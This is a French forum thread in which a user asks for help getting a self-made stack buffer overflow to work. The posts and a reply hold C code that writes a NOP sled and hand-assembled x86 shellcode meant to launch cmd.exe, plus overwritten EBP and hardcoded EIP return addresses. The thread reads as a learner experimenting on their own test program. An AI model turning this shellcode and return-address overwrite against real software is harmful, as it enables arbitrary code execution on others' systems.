Buffer Overflow

Signaler
Messages postés
12
Date d'inscription
dimanche 13 novembre 2005
Statut
Membre
Dernière intervention
29 juin 2009
-
Messages postés
12
Date d'inscription
dimanche 13 novembre 2005
Statut
Membre
Dernière intervention
29 juin 2009
-
Salut a tous,

J'essaies en vain de provoquer un depassement de memoire dans un buffer que j'ai cree.

Voici le code :
char buf[120];

LoadLibrary("msvcrt.dll");

strcpy(buf,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90"

"\x8B\xE5\x55\x8b\xec\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"

"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E"

"\xC6\x45\xFC\x65"

"\xC6\x45\xFD\x78"

"\xC6\x45\xFE\x65"

"\xB8\xC7\x93\xC2\x77\x50"

"\x8D\x45\xF8"

"\x01\x01\x01\x01" //EBP

"\xA7\xFE\x12\x00"); //EIP

Le code qui y est injecte doit normalement creer un command en executant cmd.exe.
Si j'ai bien compris, mon EIP doit pointer sur l'addresse memoire de mon buffer ou commence le code c'est a dire apres le dernier 0x90.
Entre autre l'address EBP ne doit pas contenire valeur NULL. Donc je ne peut utiliser comme addresse 0x0012FEA6. Comment faut-il que je trouve une place dans la memoire ou je puisse executer les op-codes sauvegardes dans mon buffer ?

Lorsque je tente de faire un push a l'addresse 0x01010101, je recois un message d'erreur.

Quelqu'un pourrait-il m'aider...ou au moins me mettre dans la bonne direction ?

Merci d'avance.

David Fryda

2 réponses

Messages postés
127
Date d'inscription
jeudi 16 juin 2005
Statut
Membre
Dernière intervention
5 août 2007

Tu est obligé de passer par strcpy ?

char buf[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90"

"\x8B\xE5\x55\x8b\xec\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"

"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E"

"\xC6\x45\xFC\x65"

"\xC6\x45\xFD\x78"

"\xC6\x45\xFE\x65"

"\xB8\xC7\x93\xC2\x77\x50"

"\x8D\x45\xF8"

"\x01\x01\x01\x01"

"\xA7\xFE\x12\x00";
Messages postés
12
Date d'inscription
dimanche 13 novembre 2005
Statut
Membre
Dernière intervention
29 juin 2009

Salut,

Je ne suis pas oblige de passer par strcpy.
Disons que j'insere les opcode directement dans le buf et que j'execute le programme victime en utilisant WinExec.

Le shell code utilise la dll msvcrt
.dll.

Faut-il ecrire dans mon code LoadLibrary("msvcrt.dll") ou bien faut-il que le code victime load la dll ?

Merci

David Fryda